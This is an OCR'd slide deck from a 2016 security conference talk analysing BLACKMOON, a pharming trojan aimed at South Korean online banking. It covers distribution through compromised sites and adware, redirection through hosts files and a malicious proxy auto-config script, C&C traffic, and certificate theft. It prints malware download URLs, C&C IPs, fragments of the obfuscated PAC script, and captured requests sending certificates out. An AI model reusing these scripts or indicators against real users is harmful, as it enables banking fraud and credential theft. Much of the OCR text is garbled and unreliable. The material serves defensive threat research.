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Background

Pharming (Phishing + Farming)
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Background

Internet Banking Service in South Korea
- Security Programs

Woori Bank Internet Banking Security Keeper Service ©

For your safe use of the service, you need to install the security programs as follows.

Click the Install automatically button to install the security program necessary for the use of
Internet banking

Essential Installed Programs

Installation Installation
Programs Description stafus manegement
Ve Integrated _ . _ . .
installation and Program designed to integrate and manage Internet banking-related installation Not
t s ki Installed
managemen View details .
(Veraport)
w7 Certificate security Program designed to support the electronic signature of certificates.
(XecureWeb) View details UnDefined
§3 Keyboard security Program designed to encrypt important data entered by the keyboard, and to
prevent forgeryifalsification thereof. UnDefined
(TouchEnkey) View detalls
iew details
@7 Personal PC firewall I?rogram designed to block hacking attacks and search and treat viruses in real
o . UnDetined
(Netizen) View details
- ; : i . .
w7 Security login Prpgre_arp _QeS|gned to gather and analyze cyber threat and attacker information. UnDefined
(IPinside) View details Down
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Background

Internet Banking Service in South Korea
- NPKI (National Public Key Infrastructure)

{7 - LOG~-IN for SiNg Internet Banking Service Korean L - —— e —
> - v i s o HHIRE v MY T VILE orean oninese Japanese
~D Log N ‘

¥ Creating a digital signature

| » =
+i KB S22 ‘ %
Certificate | . Wy

Please select a location to store the digital certificate.
® -

ific Q ke [&] . ) E e
. ] Hard Disk | Removable HSM Phone SmartCert SafeDisk |

A
ign » USER »
—

. ;

Automatic popu| Please select a digital certificate to be used.

certificate Type User Expiry Date Issuer

| [£] Financi... FZ3()0020047201208212274... 2017-08-26 KITFC E
View Search Delete ‘
- 0
- 3 Please enter the certificate password.
- __)._ b E
m -
Please change the certificate password every six months.




Background

Internet Banking Service in South Korea
- Security Card
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Background

Internet Banking Service in South Korea
- OTP (One Time Password)




Background

Financial Organizations
Yessigh operated by KFTC (Korea Financial Telecommunications and Clearings Institute)

Home @ Sitemap Korean

KFTC yessign

ey el e e

et About KFTC Main Business Public Relation News & Research Financial Information

@d
.

Company Information
A HOME > Main Business > Electronic Payment

History

Electronic Payment IET.N etwork

="Interbank Fund Transfer

Electronic Payment >

The Electronic Payment Service provides banking customers with various financial
Frnnaial Ifomhatiag 5 transaction services such as cash withdrawal and fund transfer, as well as financial
transaction information.

Girofinternet Giro >
CD Network
Checks Clearing >
The Cash Dispenser (CD) Network enables customers with cash cards, debit cards or credit cards to use cash
VAN Buisiaze 5 deposit/withdrawal, account transfer, balance inquiry, and cash advance services at CD/ATMs. Customers may access

their accounts from any CD/ATM regardless of their main bank. When the CD Network was first implemented,
CD/ATMs were operational only during banking hours. Much has changed since then, and today, CD/ATMSs are _

CLS > accessible 24/7. In addition, the protocols of CD/ATMs and mobile phones were standardized, allowing customers to ‘ ))
use CD/ATMs of any bank to deposit or withdraw cash, make fund transfers, and inquire after their account balances j
in all banks by using their mobile phones.
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Background

Financial Organizations
FSS - Financial Supervisory Service

Home | Contact Us | Site Map Korean

Search FSS Q

Publications Financial Statistics
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Background

KISA - Korea Internet & Security Agency
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BLACKMOON




BLACKMOON

BLACKMOON?




BLACKMOON

DLL

DLL

error

program internal error number 1s %d.
LT

%1044

blackmoon

%d .

ERROR

BlackMoonB Bl S la

DLL

s 1o =11
s 69

il it
%S
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BLACKMOON

£ H (Blackmoon) Compiler

T4 | [ Blckwtoon 24
A 2O =« [ @
e _quﬂ.jl Cf‘g‘ ;'73?_’ Labzt 2% =7
2014-07-06 S%.. 0Y 8O
3 201233 2014-07-06 2% DY B0
4 BA 2013-08-01 9% P4 MX 1KB
M e 2009-05-03 ©X__ Ojo|= 3KB
= A
g2 J =
IEF) #EE MY0) EZ(V) =EEH
W 2=y [BlackMoon]
Hun=1
EditDef=0
fu yEY3 Bnloader=2
- anLoaderODt=/ENTRV:8NEnt rypoint /OPT:NOWINSB /nodefault!ib:LIBCNT /DEFAULTLIB:MSVYCRT
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BLACKMOON
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HOWTO FIND



BLACKMOON

How to find : Web Crawling

Malware & Threat Intelligence System
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BLACKMOON

How to find : Report

http://dasanfm.co kr/image/sms/win.exe
http://www.abryu.co.kr/product/win.exe
http://wcaa kr/image/stat/win.exe

http://coenko.com/bbs/icon/win.exe

http://ggsg.or.kr/admin/sms/win.exe
http://www.dgpodowon.co.kr/admin/win.exe

http://onstp.co.kr/thumimg/win.exe
http://hyomind.co.kr/mid/win.exe
http://hakbumo.or.kr/gnu/data/win.exe
http://4-ever.co.kr/4ever/data/win.exe

http://taepyeong.com/data/win.exe
http://yojung.net/data/win.exe

http://oinps.co.kr/data/thumb/win.exe
http://econail.co.kr/data/win.exe

F4 013 TY NS &

=26t oro|m|e| CHE =H|elS

=5l SX0|H 971 11 05

Che- B4 4= JASALC

110.45.145.220
110.45.145.220
110.45.145.220

LGOI
11045.14686 LGOH 0|

119.205.211.132 KT =
119.205.211.133

182.162.73.37 LGHIC|&

211.1158033 LGHI0|&

211.255.2347 Sfoj2tel

222.23161244 LGHO|E :

222.239.255.70 SKEEZELCHIC

222.239.255.70

222.239.255.107 SKEZEHIE
222.239.255.107

@M 11:06

OHESIO] Aft:

— o —
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Distributing Charming malware by using Adware Homepage

http://www.utilmall.com/bbs/ad_24/xxmel.exe

LI 8 8

QF 11:45 |

2% 1.05 v

ot 7% F2|UI. hakbumo.or.kr/gnu/data/win.exe o= 3.31

Pharming, being distributed continuously

I} ZZAXIS ELF Zoio2 22 Z=H| HEt Zx}
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ojr

45.32.43.253/test.exe (7d0181b3ab8bas52ea5a5b13e510351bd) - &

g ol
Pharming malware targeted Windows Users

45.32.43.253/ko.exe (f6b1971cd79a5ab84de0a37ccd372dab) - ELF

Bl AL . SAEXA
Pharming malware targeted Linux Users

o
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BLACKMOON

How to find : FSI Security Operation Center

i Al Lt O|HIE
> 1 16/11/11 { [-]
17:38:55.000 app: http
bytes: 9269
bytes_in: 0O

bytes_out: 9269

dest_content: HTTP/
Server :
Content-Length:(
Content-type:

dest_ip: 67.229.64.108
dest_port: 80

endtime: 1478853535
packets_in: 0

src_content: GET /ca.php?m=4E454D744D454974516B55744D4449744E6A41745244493D&nh=949
Host: 67.229.64.108
Referer:
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Content-Length: 0

src_port: 12
timestamp: 1

}

HA| HA2EZ B A

host = Hanhwalife_JJ_TAS ' index = fsi_tas_payload necount=1 | source = /HTTP/PLAIN/20161111.173900.txt

NN NS
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HOW THEY DISTRIBUTE



BLACKMOON

ribute : Websites (mainly)

How they

tF4TwRmzBDRVLcH2 LhN80avWs ' ;
'y {
window["a" + "\x6c\x65\x72\x74"](a, b,
ch (e) {
for (var j = 8; j <
vhz2z += ALYgrt3;
h
var vhz2z3 | vhz2z4;
vHz2 ( function( c:
e = function(c) {
gy | B o=

(/~/, String)) {
(c—) {
dlc] = kl[c] || ¢

10 RN R SR e

CK VIP Exploit
CVE-2014-6332
CVE-2015-2419
CVE-2015-0336

5 "
v ";
o .
2 5 ffgv
e W
”

. L D .:..‘f'ff; —
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BLACKMOON

How they Distribute : Adware (Malvertising)

HACKING

INJ ECTING

$5a
s >H

ADs Server

VICTIMS
ATTACKER

Websites containing ADs




HOW TO BE CHANGED




BLACKMOON - How to be changed

Timeline (in 2013, 2014)

Adding Chatting function

Floating Banner on Pharming websites

Discovery of FTP Server Using Financial Company Website

to distribute Pharming Malware

to store leaked certificate v
B . R CEEICT IR
2013 April July 2014 January
February | May ecember February
a\‘\'j.:"‘"’\:f i;
Moditying hosts.ics :‘ . .
e P Adding RAT function
N o wae E.'

Multi-platform Malware
using QRCode

1. Modifying Local DNS configuration
2. Hiding C&C traffic by using VPN

ITCON Pacific 2016
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BLACKMOON - How to be changed

Timeline (in 2015, 2016)

Using r.pengyou.com
to receive dynamic Pharming Server IP

Distributed 8
by compromised Adware
Fake Input form Disguised as FSS
2015 | June October 2016 January
May November | October
Pharming Malware Adding |
disguised as KISA PAC (Proxy auto-config) function

Targeting Japanese Financial Companies



http://r.pengyou.com

BLACKMOON - How to be changed

Redirection



BLACKMOON - How to be changed - Redirection

Modifying Local Hosts file (~ 2015)
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BLACKMOON - How to be changed - Redirection

Automatic Configuration Script (2016 ~ Current)
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BLACKMOON - How to be changed - Redirection

Automatic Configuration Script

3 http //127.0.0.1: 1158/ 1F18131 9A3984559?EDIQ Microsoft Internet Explorer

™+ "1 4 . R = - _: L -‘. { H o= o=y Y ’ ™es qr
LL" ~ | : ;_ : - ,_J v ‘ }* [ ) | LT : S 1 t,_ '-C \::: : ',.l ] .‘. »
el == LY S s ol 1ot B B T =0y 8 /]

€ EERES [x'] [d‘] ;j 3@& JoE R @ R & 3 L
Z (D) éf] hitp://127.0.0,1:1166/1F181319439646697ED19
Cooxie ~ 0 links on page: v ¢ |Proxy: (none) v ) Typed URLs ) Visited URLs *

eval (functionip,a,c,k,e,d){e=function(c){returni{c<a?"":e(parselntic/a)))+{(c=c¥a)>3575tring.f romCharCode(c+29) :c.toString(36) )}

I 1F181319A39846697ED19[1] - HI 2 &
oHEiF) BEE) M0 2IY) Zs=H)

hual(Funct1on(p,a,c,k,e,d){e-Funct1on(c){return(c(a?"":e(parselnt(c!a)))+((c=c%a)>35? »
String.fromCharCode(c+29):c.toString(36))};if(*"' "' .replace(/ 7,String)){while{c--)d[e{c)]=K[c]
| |]e{c);;k=[Ffunction{e){return d[e]}];e=Function(){return'Wiu+"'};c=1;};while(c—-)if(Kk[c])
p=p.replace{new RegExp({'¥ib'+e(c)+'Wib’',"'qg'),k[c]);;return p;3{('Ff C(s){7 E(H{(h{s),s.n*8));f H
(x,1){x[1>>5]]|=29<<K(24-1%32) ;X[ ({1+2a>>9)<K4)+15]=1;6 w=D{M);6 a=25;6 b=-26;6 c=-27;6 d=2e;6
e=-2f;m{6 1i=0;i<x.n;i+=16){6 N=a;6 L=b;6 J=c;6 K=d;6 R=e;m(6 j=0;j<M;j++){K(j<16)uw[]]=x
[i+7]529 w[j]l=o(w[j-3] w[j-8] w[j-14]"w[j-16],1);6 t=g(g(o(a,5),S(j,b,c,d)),qg{g(e,w[j]),Q
(j)));e=d;d=c;c=0(b,30);b=a;a=t}a=g(a,N);b=g(b,L);c=g(c,J);d=g(d,K);e=g(e,R)}7 D{(a,b,c,d,e)}f
U(s){7 C(C{s)+W 238" )}f S(t,b,c,d){k(t<20)7(b&c)|((~b)&d);K{t<40)7 b c d;Kk(t<0)7(b&c)|(b&d)|
(c&d) ;7 b cd}f Q(EI{7(t<20)21VU:(t<uB8)?21Q:(t<0)?2-1S:-12}F g(x,y){6 r=(R&U)+{yY&u) ;6 P=(x>>16)+
(U>>16)+{(r>>16) ;7(P<KL16) | (r&v) 3} f o(u,z){7(u<Lz) | {(u>>>(32-2))3}f h(h){6 q=D();6 I=(1<<8)-1;m(6
1i=0;1i<h.n*8;i+=8)q[1>>5]|=(h.2y(1/8)&I)<LK(32-8-1%32);7 q}f E(p){6 A=0?7"2w":"2x";6 h="";m(6
1=0;1<p.n*4;i++){h+=A.F({(p[1i>>2]>>((3-1%4)*8+4))&G)Y+A.F((p[1i>>2]>>((3-1%4)*8))&G)}7 h}6 X=
{"21":1,"2m":1,"2n":1,"21":1,"23":1,"2k" :1,"2¢r" :1,"25" 21,"2t":1,"20" :1,"2p"" :1,"2q" :1,"1h" :1,""1
11,11, e 21, F 01, M1g M 1, I 21, 10 21, 1pt 2, KR e, ML 1, It 1, d T 21,2 0,18 0




BLACKMOON - How to be changed - Redirection

Automatic Configuration Script

var dowla = {

"ea7921b63846854dd57dc9277e34528cce350fag9": 1 "ad41tc7941e529eb9343317114033db7920daas571d"

"6aab394dadb98fc44794cfe2d714353ed7a5ab67b" : "4607d2c35e6d42a625c7¢c257e830326Fc62bbeec"

" b2d fb d bc":

Kool mascpirirgpiss o s g 199601062906 fa9d49a8e77d2b98d91bcef3431c2"
"831T6975e027788645b4c00eT25b5146Ted5565¢cc™:

"6c780b275734e4391562b3dfTf5a7756633ba7a8":
"5c6el3az24t5924ea941c925c2a@b79e58cfcfof7":
"508574b72ac28ea9347913efcab3da381c771976":
"8309cbalfdlafddb8fdctd44815125T8Teb81a7e":
"33859e317cT5b7d57ec77cbbB82d8225e8080ae10" ;
"9f9cle692cTbSeat522dddfeeb307c677987d216":
"dee9cabedb515c7be93873bTd8ed4d20e67cd9cd8" ;
"52a59637b3b68118d736131855e9aB8taatce3ca9”;
"cdB4d7a39102ab785b01adb61t60aabc9bbfebfe"
"c231c235325d44191eb84234d9fcc2cb4ac@c92c”;
"463¢c43b8bT3d185bdBbOBT87a762a61b35178975";
"t5841led4dceb04508cebtebl@e27d37716ca88l3c":
"43d57158cdc613bc6924b1td33d93cl624a5151ch":
"7aB8lt7225a07a69cd5¢cdb6d@d25b7cls5be7dt3a32":
"c9at98cb6ak02bc@9eb639b457ftelb7a233b8c478";
"4483al10b6e4689c5b6TT0elcld@bats8ecb36e28":
"179535944be8a5bbcB@6c5501Tb9202d6b4949bcad" ;
"1t714be9tde26batd9201tT2e0371ec34822c6dd8a":
"21bd476019%9a74ceab9%9abb61b5240ca9b9b7833at6" :
"c91t5025cb48435b27b7bacefbotababb55767206d" ;
"c93594728bd0627b98331e7cc974dd2ceBd4d5ala":
"h1484496F37a2376Ff8Ffdf2bb9b5c75¢131032eb5":
"2efb211fd18dcbb388¢c357367fcbbl4c5888c2a7":
"£742437e4725Ffcc@d2507ad80bb7e@5ccTf48fde":
"ee304e88b6TO93cTf726d1ce9751d5e862ch465bT4"
"60c238Tf80Tfda6c2b363dceb48d@15a@cadb26ecc7":

. ~ ARQaRaR0 AARAEQRTAM

};
var po = "PROXY 127.0.0.1:11304";
var ekls = 'DIRECT;':;

var hasOwnProperty = Object.hasOwnProperty;

function FindProxyForURL(a, b) {
if (hasOwnProperty. (dowla, il11_1lwo(b))) {
return po

}

return ekls

SHAT(SHAT(DOMAIN) + 666’)
SHAT(SHAT(DOMAIN) + ‘soasox’)
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BLACKMOON - How to be changed - Redirection

Automatic Configuration Script

kikwak@FSICZRT bmEearchTargets. ps
AnBJ94DhDjOOF'liﬁﬂl'FE2D411°533 kbstar.com (HIT)
ZATO9Z1B63846854DD57DC9277 :4‘2833 www. kbstar.com (HIT)
D34DA0CA9Z2Z20B81A143 2A27BF wooribank.com (HIT)
585DCY9S3CBEBCES wEA?C 159F( WWwW.wooribank.com (HIT)
/80B275734E43 WWW . nonghyup . com
El-n2l H824E: nonghyup.com (HIT)
TAB72AC28E! banking.nonghyup.com
15D1&8DCRBRB www.shinhan.com (HIT)
JE shinhan.com (HIT)
www.shinhankank.com
shinhanbank.com
www.shinhankank.co.kr
shinhanbank.co.kr
TDFOBSZ4FE = banking.shinhanbank.com
ZCB465BF4 => ba u}\ln-._x shinhan.com (HIT) D i ff ‘t t f d t t
OI“!.D'UF.L._,I'E. =: banking.shinhanbank.co.kr I IC U O I n a rge S
BJb zo = www . hanabank.com (HIT)
: hanabank.com (HIT)

www . hanabank.co.kr

keb.co.kr (HIT)

www.nate.com (HIT)

wWww.daum.net (HIT)

; nate.com (HIT)
=> daum.net (HIT)

G > 2 zum.com (HIT)
F97wh07““3°64’h4’nhhb7 514¢ 55¢ WWW, Zum,com (HI1'T)
lr4l%1rh0w6A1¢7]»hnu%4b~ llGDOEADS? : hanmail.net (HI'T)
7941E52C85R9343217114033DRT7920DAAS ) = Www.hammail ,net (HIT)
>0100A90cFASDACASE T TDZBO8DI1BCAIF343 > wWww.3stancardchartered.co.kr (HIT)
091A4C72F105B¢cDBD10CCOAGFEDS2X5573C¢ >  suhvup-bank.com (HIT)
BD4A4CO955131AFCAQOZDAATDIF1IZ014EB2FDFCOBA => www.suhyup-bkank.com (HIT)
3594728BD0627BS8331E7C 7“”4DD¢u4u4DJnln > epostbank.go.kr (HIT)
9025CB48435BRZ27/B7BACEFE€FASABBSS767206D => www,epostbank.go.kr (HIT)
44 ; 17
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BLACKMOON - How to be changed - Redirection

tomatic Configuration Script

<div id="'sponsorAdDiv" style="visibility:hidden"'>
{img src=""img/pop_.jpg" alt=""" border="0" usemap="'#Map'" class="pop_image' id=""Map"/>

oS oax2 BLHE AN 2/HshH LESNYEZ HelA F212US <{map name="'Map" id=""HMap''>
S5 M T ™AS AIMEID UALICH LI0MRIR] 0| SR AIS HHoD {area shape="rect" coords="26,223,148,263" hreF="http:Nwww.nonghyup.com“ onfocus="blur();"/>
- L {area shape="‘rect" coords="160,222,282,262" href="http://www.shinhan.com” onfocus="blur();"/>
=0 2FEz HHZEZE S 0l=Zske 2 MEULL <area shape="rect" coords="294,223,416,263" href="http://www.ibk.co.kr" onfocus="blur();"/>
X 0|2FA D 2l SHES SEUFIA|H HONIEE IS FHGIH T2 <area shape="‘rect"” coords="26,274,148,314" href="http://wuwu._kbstar.com" onfocus="blur();"/>

<area shape="rect" coords=""160,274,282,314" href="http://wuwuw.dgb.co.kr" onfocus="blur();"/>
{area shape="‘rect"” coords=""294,274,416,314" href="http://wuww.kebhana.com"” onfocus="blur();"/>
NHs 2% eﬂgeg EPIBK?I@S% <area shape="‘rect" coords="26,325,148,365" href="http://wuww.epostbank.kr" onfocus="blur{);" />
{area shape="‘rect" coords=""160,325,282,365" href="http://www.kfcc.co.kr" onfocus="blur();"/>
<area shape="rect" coords="294,326,416,366" href="http://www.wooribank.com" onfocus="blur();"/>

% ke -— <area shape=""rect" coords="26,377,148,417" href="http://wwuw.standardchartered.co.kr'" onfocus="blur(
b KB 3212% KEB O P ,377,148, p
E @u{:eg 0 tu&% <area shape="rect" coords=""159,377,281,417" href="http://wuwuw.busanbank.co.kr" onfocus="blur();"/>
2 <area shape="‘rect" coords="294,377,416,417" href="http://wuww.knbank.co.kr" onfocus="blur();"/>

NS .

O ) o =" " =" . . . " =" - ) . i s — ;"
P12 0l GMGAIO}GSB % <area shape="‘rect"” coords=""26,428,148,468" href="http://wuwuw.kjbank.com" onfocus="blur();"/>

{area shape="rect" coords="160,428,282,468" href="http://www.citibank.co.kr" onfocus="blur({);"/>
{area shape="rect"” coords="294,428,416,468" href="http://www.kdb.co.kr" onfocus="blur({);"/>
Standard§ BNIL SALL.of BNIL Zure <area shape="rect" coords="26,480,148,520" href="http://www.e-jejubank.com" onfocus="blur{);"/>
Chartered 3% i R <area shape="rect” coords="160,479,282,519" href="http://www.suhyup-bank.com”™ onfocus="blur();"/>
<area shape="rect" coords="29%4,479,416,519" href="http://wuww.cu.co.kr" onfocus="blur{);"/>|
{/map>

Raxes  citibank | Okosiges

Ouz=es Shruey O 4




BLACKMOON - How to be changed

C&C Communication



BLACKMOON - How to be changed

users.qzone.qg.com
blog.sina.com.cn

r.Dengyou.com
Conne -

User—Agent; Moz%]ia/ﬁ.o (windows NT 6.1; wOwed) ApplewebhKit/537.36 (KHTML, like Gecko)
Chrome/33.0.1750.154 safari/537.36

Network Receive Pharming server IP #1

rait.fcg?uins=1276542940 HTTR/1.1

HTTP/1.1 200 OK

X-Powered-By: TSw/Node. s
Cache-Control: max-age=86400
Connection: close

Keep-Alive: timeout=10

Mod-Map: nodeproxy_index:photo.v?/nodejs/module/nodeproxy/Andex. js
Content-Type: text/html
Cache-0ffline: false
Content-Length: 126

server: QZHTTP-2.37.1

Date: wed, 26 Oct 2016 03:32:09 GMT

portraitCallBack({"1276542540": ["http:// 0] gee o i
qzone,/1276542940,/1276542%940,/100",0,-1,0,0,Q, "118.142.224.106",)0] })|




BLACKMOON - How to be changed

Network Receive Pharming server IP #2

=2 0| Ct=2
A —T\l.p_t::tl:—'

20144 062 202 28 10A] 40= 2=

219 Al -

DGBEV-BITKY-FRTOJ-6CRCC-XPQAG-
126A15B81C164D

HITCON Pacific 2016 %




BLACKMOON - How to be changed

Network Receive Pharming server IP #3

@ https://www.pinterest.com/pin/101190322851090036/

) | &AM

tOt=7|: Reindeer HiX| Alss AtS Antler Ring Deer Antler Ring At 32| A0A

I -

£X{: etsy.com

Jan Kovac - 17 =
Cute ring!

z2zzee - 4A|7FH
DG8FV-BO9TKY-FRT9J-6CRCC-XPQ4G-45A34B48C162D




BLACKMOON - How to be changed

Network Send Infected PC information

GET|/ca. php7m =4ES449744E545174404441744D6A4D0744D044 5974404 5493D&h=948 HTTP,/1.1

CONMme ={={ugr-

cContent- Type text/p1a1n Charset= UfF 8

ACCept: %/«

User-agent: Mozilla/s4.0 (compat1b1eJ wWin32; WinHttp.wWinHttpRequest.5)
HOsT: 11%.14/2.224.1006 i

HTTP/1.1l 200 OK :
Date: wed, 26 Oct 2016 03:32:00 GMT
Server: Apache/z .4 (win32) PHP/S. ? 3
X—-Powered-By: PHP/S %

Content-Length: 3 i

Keep-Alive: timeout=5, max=100 -

Connection: Keep—A11ve

cContent-Type: text/html Python® 2 55 NN de Ean Eradulsss O 210 156 81 8 =511=.4.2.)

Content-Language: ko [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.34)] on darwin

Lype s heli® s copyEights St creditts ol cahSel foimoredinf ormala o
>>> "4E5449744E5451744D4441744D6A4D744D4459744D45493D" .decode ("hex")

'NTItNTQtMDAtMJMtMDYtMEI="

>>> 1mportbaseocd

>>> basebd.bbddecode ("NTItNTQtMDAtMJMtMDYtMEI=")
2 2=54=00=235=06=08

ITCON Pacific 2016




BLACKMOON - How to be changed

Network Send Certificates

. POST] /ca. php7p TTP/1.1
Connect ke ive

AcCcCept: */*

User-agent: Mozillas4.0 (compatible; win32; winHttp.winHttpRequest.5)
Content-Length: 1358

Host: 118.142.224.106

o] o e R R e Appdata_ npk1§yess1gn/

e it b Pl B e s e Aappdata_npki//vyessign/USER/PK......... TFALS
[...Appdata_n k1/yess1gn/USER/Mws

()0003042201301102216144 OuU=J= anald4Ie, o=yessign, c=kr/

B o I e O e a. ,k1/yess1gn/USER/Mws
()0003042201301102216144,ou- X rs0naldIe, o=yessign, c=kr/

o La ] gl 2l m e e S R ) R d. Appdata npk1/§ess1gn/USER/MwS
()0003042201301102216144, ou=IBK, U= =personaldIB, o=yessign, c=kr/
signCert.derPK......... (R e i I Appdata npk1/yess1gn/USER/Mws

()0003042201301102216144, ou=IBK, Ou= persona1418 o=yessign, c=kr
A T I R o o . e R Sl Appdata_npki/fyes

B s T e . Appdata_ np<1/ essign/USER/
AL A A T S e e e e e e k Appdata_npki {ess1gn/USER/M'
()0003042201301102216144, ou=IBK, Ou= persona1418 o=yessign, C

oY ReRe e (e e e el i e e e e Appdata np<1/¥ess1gn/USER/M‘
()0003042201301102216144, ou=IBK, ou=personal4IB, 0-yess1gn C=

G N s Rl e s K T i o o W B Appdata npk1/yess1gn/
()0003042201301102216144, ou=IBK, ou=persona 418 0= yess1gn c=kr/
signCert.derPK........... o S LR R R e e | Rt R pe e S e b AEpdata _npki/fye
()0003042201301102216144, ou=IBK, ou=personaldIB, o=yessign,Cc=

g e [7]=] gla 9 4 - %) =] RN ] Iwvewin HTTP/1.1 200 OK

o
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Conclusion



CONCLUSION

1. Best solution to stop BLACKMOON 1s Arresting Criminals
2. Lots of people are suftering from BLACKMOON
— Some of victims tried to commit suicide

3. By Sharing information, we re able to take them down again

ITCON Pacific 2016
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My Wite, Kyle Choi, Jong-Hyun Moon
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